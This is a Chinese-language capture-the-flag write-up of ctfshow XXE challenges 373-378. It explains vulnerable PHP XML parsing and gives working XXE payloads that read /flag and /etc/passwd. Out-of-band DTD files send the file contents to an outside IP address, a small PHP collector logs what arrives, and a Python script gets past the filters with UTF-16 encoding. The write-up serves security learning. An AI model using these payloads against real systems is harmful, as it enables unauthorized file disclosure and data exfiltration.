先了解一下什么是XML
XML是一种类似 “标签式记事本” 的数据格式,用来存储和传输结构化信息。它的核心特点是:
用 <标签>内容</标签>
的形式包裹数据
<user>
<name>张三</name>
<age>25</age>
</user>
XML 允许引用外部内容<!ENTITY xxe SYSTEM "file:///etc/passwd">,就导致了XXE漏洞
373
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
libxml_disable_entity_loader(false);
启用外部实体加载(默认情况下应禁用),允许 XML 引用外部文件(如 file://、php://filter)。
$xmlfile = file_get_contents('php://input');
读取 HTTP 请求的原始输入(POST 数据),获取用户提交的 XML。
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析 XML 时:
LIBXML_NOENT:允许替换 XML 实体(如 &xxe;)。
LIBXML_DTDLOAD:允许加载外部 DTD(文档类型定义)。
simplexml_import_dom($dom);
将 DOM 对象转为 SimpleXML 对象,方便提取数据。
$ctfshow = $creds->ctfshow;
提取 XML 中 <ctfshow> 标签的内容并输出。
highlight_file(__FILE__);
高亮显示当前 PHP 文件代码(通常用于调试)。
直接发包
<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY> <!-- 声明 payload 元素可以包含任何内容 -->
<!ENTITY xxe SYSTEM "file:///flag"> <!-- 定义外部实体 xxe,读取 /flag 文件 -->
]>
<creds>
<ctfshow>&xxe;</ctfshow> <!-- 引用实体 xxe,将 /flag 内容插入此处 -->
</creds>
php://filter/convert.base64-encode/resource=/flag
尝试远程rce
先启动服务
python3 -m http.server 7777
可以看到执行了XXE漏洞,并且访问了我们的文件,但是无回显
外带数据1
evil.dtd
保存在服务器,确保可以访问
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://1.95.38.189:7777/?leak=%file;'>">
%eval;
<!DOCTYPE payload [
<!ENTITY % dtd SYSTEM "http://1.95.38.189:7777/evil.dtd">
%dtd;
%exfil;
]>
<payload>test</payload>
374-376
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这里就是只解析XML,并没有回显了,可以用外带数据
外带数据2
xxe.php
<?php
$xxe = $_GET['a'];
$myFile = "xxe.txt";
file_put_contents($myFile, $xxe, FILE_APPEND);
?>
xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://1.95.38.189:7777/xxe.php?a=%file;'>">
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://1.95.38.189:7777/xxe.dtd">
%remote;%int;%send;
]>
375
/<\?xml version="1\.0"/
仅检测 <?xml version="1.0"
,但 XML 可以不声明版本或换用其他编码,用前面的外带数据
376
/<\?xml version="1\.0"/i
过滤大小写
377
/<\?xml version="1\.0"|http/i
过滤http,用utf-16编码绕过
import requests
url = 'http://187a735f-1b30-4f93-a046-ef70f2cfeb21.challenge.ctf.show/'
payload = '''
<!DOCTYPE payload [
<!ENTITY % dtd SYSTEM "http://1.95.38.189:7777/evil.dtd">
%dtd;
%exfil;
]>
<payload>test</payload>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
378
让我们登录
这是很标准的XML框架
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>
Comments NOTHING